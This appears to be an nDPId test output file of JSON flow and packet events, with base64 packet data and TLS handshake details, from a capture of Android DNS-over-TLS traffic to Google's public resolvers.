+01142{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":564695,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAI5PPBAAEAGLXzAqAGfCAgEBLviA1WhETzKd2wcRoAYAVddrgAAAQEICgAAACw7E6h3FgMBAgABAAH8AwMrWAyrTdDxfgOP+1tzuunb7Cy\/yXCgSWeXoKBkBPrVPyA3JDMO7OphzpU36YzIUm3zGK0YYOmlQM62LkpDm0rDGgAewCvAL8AswDDMqcyowAnAE8AKwBQAnACdAC8ANQAKAQABlQAAAA8ADQAACmRucy5nb29nbGUAFwAA\/wEAAQAACgAIAAYAHQAXABgACwACAQAAIwDiARwM3mDSTy2KnFOJMzn7stzGYyX+ErxweKZvMWA+DHe7GLRnLRUybuHfiV5knTQIjhK\/GK5IIqvLNAmTKNvSo0hv8h0ulRB0aqm8FwgEpkVHHcM6UG5TzNCQ9KdT\/k7UNWuK7swRz9Yvi+k8q96rcEJr\/LXENmBb2UY8tY9l2xJKbBYA9tKwIPIBAerEXFDAPYWZdKDd5Q1S\/gPO223uC0X1er\/jYr9tA39W1m4B\/\/vKp4wt45p5c\/xW9Tg39T7eLvvvPWnCGQRfWtPx5seY9+CMB7cDPpL3T3JV2Fpgho3ydgANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAVAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":162,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1592552878549,"flow_last_seen":1592552878564,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48098,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"b734f75d22aaff9866fbd5d27eef9106","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00437{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":577342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0nAgAAHYG2mgICAQEwKgBnwNVu+J3bBxGoRE+z4AQAPCQ6QAAAQEICjsTqIYAAAAs"} +00637{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":577421,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"ag\/ahpuQEBMx8Tl2CABFAADHnAkAAHYG2dQICAQEwKgBnwNVu+J3bBxGoRE+z4AYAPBK3wAAAQEICjsTqIYAAAAsFgMDAFsCAABXAwNe7G2uCykxvbVdBcxAJcwMizMEDI80T9lET1dOR1JEASA3JDMO7OphzpU36YzIUm3zGK0YYOmlQM62LkpDm0rDGsAvAAAPABcAAP8BAAEAAAsAAgEAFAMDAAEBFgMDACgAAAAAAAAAANwZZ3mHbB4\/MCX8h+8kQXM4R1XQtwh2o3bU+qtBI5kE"} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":164,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1592552878549,"flow_last_seen":1592552878577,"flow_tot_l4_data_len":872,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48098,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"b734f75d22aaff9866fbd5d27eef9106","ja3s":"1249fb68f48c0444718e4d3b48b27188","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00437{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":578889,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0PPFAAEAGL4DAqAGfCAgEBLviA1WhET7Pd2wc2YAQAVeP6wAAAQEICgAAADA7E6iG"} +00507{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":580026,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"EBMx8Tl2ag\/ahpuQCABFAABnPPJAAEAGL0zAqAGfCAgEBLviA1WhET7Pd2wc2YAYAVf7KAAAAQEICgAAADA7E6iGFAMDAAEBFgMDACgAAAAAAAAAANm4HIl2OyTAmc5U14SCMz8r4I+dvSSVjJRSzcy89BtT"} +00438{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":597024,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0nBIAAHYG2l4ICAQEwKgBnwNVu+J3bBzZoRE\/AoAQAPCQCwAAAQEICjsTqJoAAAAw"} +00661{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":599157,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADTPPNAAEAGLt\/AqAGfCAgEBLviA1WhET8Cd2wc2YAYAVckxgAAAQEICgAAADU7E6iaFwMDAJoAAAAAAAAAARFIQabocIgzTFl5FrgaH4UQ6yv8xHxzzwgoRyUK8YU3tm85HeiVNR1\/rSStZV+l\/oMFV1\/vYBOnDvGpptcQB7TAcrGP\/nWBwcXNI5h8Zx92OlkQ\/U2OLAx+B+XV00Vc5MQqiU8VwOPkRKznKnpdyJ+SRWNLk8yol6j\/pb4xJL2fx3Mhlbo\/F2dQCFZT1cMPTQuq"} +00439{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":610777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0nBgAAHYG2lgICAQEwKgBnwNVu+J3bBzZoRE\/oYAQAPSPVQAAAQEICjsTqKgAAAA1"} +01117{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":612095,"pkt_caplen":565,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":565,"pkt_l4_len":531,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAInnBkAAHYG2GQICAQEwKgBnwNVu+J3bBzZoRE\/oYAYAPRgcAAAAQEICjsTqKkAAAA1FwMDAe4AAAAAAAAAAbCsNKWdqHLvo7w6PKNe8Qw2dl8x4ZPpA2gWLKg2VCgmdk054diZWv1fE37BzfH5u3Hiql2bDKQCwGgPG6xeMCPwN6MjWoOIiXp\/0s+S9YAZpQBYNo5kyB7H4xsLUX7IshEIF6\/rA00xCnjLY1Nwhp3jnkML83Jh7zyMA5rCwcukD3+9OjpASDj8z2r29+nRv5LatZ1DCuD0JLfR\/YF86X+oHjFHgBUpssLBfN02ywN6\/obgGMuc2JpB3RxuCDuJKwKImwVUA0NKefs3jI4VqypJFbb3Z4LgWwsCSiInFINf3FEW3G3c2Zt3bckH6iES2SrZ\/EaXrIakbofDB39eqZzJBHfNDnb+J3XLEWPOMEFErGEqnP0oKFAkbdkZOGCKaNY8F8S52UOBBjYRwXqDzFWOoInzC3iM4x42raHH8C\/uQ0RxYmhv+GL10UzX2lonuUbmEd\/MTOfhENtL1nIbZuy1+g0HXZe1CtxoHIYne6Jvz8b4cdq+uZV2MUoIeysiWjyL8mbW1wax2J1joPIeSRQW5YOq9CHIkq0ZsEOjoZQfEKDyaQaAtyxYNwYbProS7bZUQETYMbm8H0Jy1FCftGoDNbEf0hRyOw52zPshEqhw6TQjOUeftHx1PExR16awxDJsjyvVVw=="} +00438{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":657604,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0PPRAAEAGL33AqAGfCAgEBLviA1WhET+hd2wezIAQAVuM6wAAAQEICgAAAEQ7E6ip"} +00656{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552879,"pkt_ts_usec":308855,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADTPPVAAEAGLt3AqAGfCAgEBLviA1WhET+hd2wezIAYAVtM5AAAAQEICgAAAOQ7E6ipFwMDAJoAAAAAAAAAAmn5\/+4ILFRPfNGt4q8o8vcvtz73sPbtaxwnqGBasfUF\/qq7OLbp\/mKbYQ8PaarzPUpCLTPdQ+sBOAQ4CDaFkM3x8fofwCDGcygT7A1YwRVGQpwHkTJE8vro477jrqvHjodqaSM8V0mWsI3PqlboE3fzxj5T2inAx2gMxkBr2uVksMjgv4tqjDazn6CMgwVEWSW+"} +00438{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552879,"pkt_ts_usec":327056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0nXkAAHYG2PcICAQEwKgBnwNVu+J3bB7MoRFAQIAQAPiJRQAAAQEICjsTq3MAAADk"} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":208,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1592552824409,"flow_last_seen":1592552826208,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":30,"midstream":1,"l3_proto":"ip4","src_ip":"8.8.8.8","dst_ip":"192.168.1.159","src_port":853,"dst_port":55856,"l4_proto":"tcp","ndpi": {"proto":"DoH_DoT.Google","breed":"Unrated","category":"Web"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":208,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1592552824409,"flow_last_seen":1592552826208,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":30,"midstream":1,"l3_proto":"ip4","src_ip":"8.8.8.8","dst_ip":"192.168.1.159","src_port":853,"dst_port":55856,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":208,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":21,"flow_first_seen":1592552825913,"flow_last_seen":1592552826054,"flow_tot_l4_data_len":4531,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":215,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","src_port":56024,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":208,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":21,"flow_first_seen":1592552825913,"flow_last_seen":1592552826030,"flow_tot_l4_data_len":4531,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":215,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48044,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":265,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":1592552871852,"flow_last_seen":1592552871941,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":26,"midstream":1,"l3_proto":"ip4","src_ip":"8.8.4.4","dst_ip":"192.168.1.159","src_port":853,"dst_port":47968,"l4_proto":"tcp","ndpi": {"proto":"DoH_DoT.Google","breed":"Unrated","category":"Web"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":265,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":1592552871852,"flow_last_seen":1592552871941,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":26,"midstream":1,"l3_proto":"ip4","src_ip":"8.8.4.4","dst_ip":"192.168.1.159","src_port":853,"dst_port":47968,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":265,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":104,"flow_first_seen":1592552826036,"flow_last_seen":1592552867048,"flow_tot_l4_data_len":24559,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":236,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48048,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":292,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1592553007037,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48210,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":37028,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA8FgpAAEAGVl\/AqAGfCAgEBLxSA1VGZWurAAAAAKAC\/\/+KUgAAAgQFtAQCCAoAAH2hAAAAAAEDAwg="} +00450{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":51414,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA8ScwAAHYGLJ0ICAQEwKgBnwNVvFKvdpW\/RmVrrKAS6yB4FwAAAgQFZAQCCAp\/c2KvAAB9oQEDAwg="} +00437{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":78898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0FgtAAEAGVmbAqAGfCAgEBLxSA1VGZWusr3aVwIAQAVeQUgAAAQEICgAAfa1\/c2Kv"} +00652{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":88078,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADOFgxAAEAGVcvAqAGfCAgEBLxSA1VGZWusr3aVwIAYAVd\/mgAAAQEICgAAfa9\/c2KvFgMBAJUBAACRAwNWAMlRN\/y9+y5bn87kl8S7SwnuvLXD9du+\/Dt1fS20NAAAHsArwC\/ALMAwzKnMqMAJwBPACsAUAJwAnQAvADUACgEAAEoAAAAPAA0AAApkbnMuZ29vZ2xlABcAAP8BAAEAAAoACAAGAB0AFwAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQ=="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":295,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1592553007037,"flow_last_seen":1592553007088,"flow_tot_l4_data_len":298,"flow_min_l4_data_len":32,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48210,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00437{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":101326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0SeYAAHYGLIsICAQEwKgBnwNVvFKvdpXARmVsRoAQAPCP6wAAAQEICn9zYuEAAH2v"} +02347{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":118877,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+SfAAAHYGJvcICAQEwKgBnwNVvFKvdpXARmVsRoAQAPAH2gAAAQEICn9zYvIAAH2vFgMDAD8CAAA7AwNe7G4vYWtcBNfat74UY6eggZEkCjQVV0VET1dOR1JEAQDALwAAEwAXAAD\/AQABAAALAAIBAAAjAAAWAwMKgAsACnwACnkABiUwggYhMIIFCaADAgECAhAvmt6tSZ\/54QIAAAAAayAjMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwHhcNMjAwNTI2MTUyMDAyWhcNMjAwODE4MTUyMDAyWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UEChMKR29vZ2xlIExMQzETMBEGA1UEAxMKZG5zLmdvb2dsZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOSUeQONctZz3uIqdtC8TGzE8AMaYsmZY88YVzUreJdL\/0dCZYsl1UYc2OvENRHpKfNCZpRv3xMOZvi3kh0QIb5zzddzOkkBUd2hU7s3ZwZK+HaanofZZUCn6DHRVW+tAvbhDsfNhYq7nC6j\/GNW5VGjRotNORp5ATy1MpfZF93XgmaHNixqtpC\/0gM5Gwth6D+1fVJsvBEgZyIPBayP3lOd1yAvzdIkSpwWaZ+TKW+85OK4yyy7S2o1vCDDK3Zq6\/jUumhBP5SJmDA5tr4dukkEoqVyhPnxGcB4hDmwyVDU2U8rmqCGQULfKb12DBmiiJOYbm5pqVj1JBv0+p3j1E0CAwEAAaOCAu8wggLrMA4GA1UdDwEB\/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSFRNGvRXRy0wAb7J2sKkmYhLWe3zAfBgNVHSMEGDAWgBSY0fhuEOvPm+xgnxiQG6DrfQn9KzBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAGGH2h0dHA6Ly9vY3NwLnBraS5nb29nL2d0czFvMWNvcmUwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwgawGA1UdEQSBpDCBoYIKZG5zLmdvb2dsZYIQKi5kbnMuZ29vZ2xlLmNvbYILODg4OC5nb29nbGWCDmRucy5nb29nbGUuY29tghBkbnM2NC5kbnMuZ29vZ2xlhxAgAUhgSGAAAAAAAAAAAABkhxAgAUhgSGAAAAAAAAAAAGRkhxAgAUhgSGAAAAAAAAAAAIhEhxAgAUhgSGAAAAAAAAAAAIiIhwQICAQEhwQICAgIMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzFjb3JlLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AAe3XBvlfWj\/8bDGHSMVx7rmV3xXlLdq7rxhOhpp06IcAAABclHIpS8AAAQDAEcwRQIhAL8PRht0GjLwxvKgvt3ME7Lvn501gSRHUbzJgY3HddfrAiBITPBWXKB\/EsGN\/qthElwjtyifjXyQCtZL82ZOsBNAqgB1AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABclHIo2oAAAQDAEYwRAIgW3oiEOXHmxVJukyPKedbFKLAHU+NWNHGdGVRZy3Vv9QCIBZ565g8plNNkx9OSGvGcmllJquFv0Vpmmf0ZrIkVQCpMA0GCSqGSIb3DQEBCwUAA4IBAQBP8NFNA2o7BvU4C0BZ\/YuA2G4="} +00817{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":297,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1592553007037,"flow_last_seen":1592553007118,"flow_tot_l4_data_len":1780,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":296,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48210,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02353{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":118996,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+SfEAAHYGJvYICAQEwKgBnwNVvFKvdptKRmVsRoAQAPBRqwAAAQEICn9zYvIAAH2vBWU\/U1SwWFqB51XKOk\/9gYc9EfnV8DMmwcygUgaToHLYUMwUZiFSJ1LqRJEm3oknKcmGpn6E+8rpojBhPvTewD8kzc3KtWn0xIyDeDz+Z1J8g\/uv+o2If+iKyGWYGf4RT\/KFSb\/lYkCgp373jBd81x2dBToH41zJgQMiTcRji8A4I0eyWkRpuReYMwBKatDuD2J7yUI9b+O06es4KhBC9a+DKwwGcm20clrv8FMBPBA3oxgf2d7Tp3YHw5XBW1+9IPzq88tSTj+WKJs15ATWPHPRFsSXyMFQZgstMB5d3dOB2ANmme6AIIj99uss4gAETjCCBEowggMyoAMCAQICDQHjtJqhjYqpgSVpULgwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTcwNjE1MDAwMDQyWhcNMjExMjE1MDAwMDQyWjBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BjPRdSLzdOc5EDvfrTdaSEbyc88jkx1uQ8xGYQ9njwp71ANEJNvBYCAnyqgvRJLAuE9n1gWJP4wnwt0d1WTHUv3TeGSghD2UawMw7IilA80a5gQSecLnYM53SDGHC3v0RhhZecjgyCoIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9N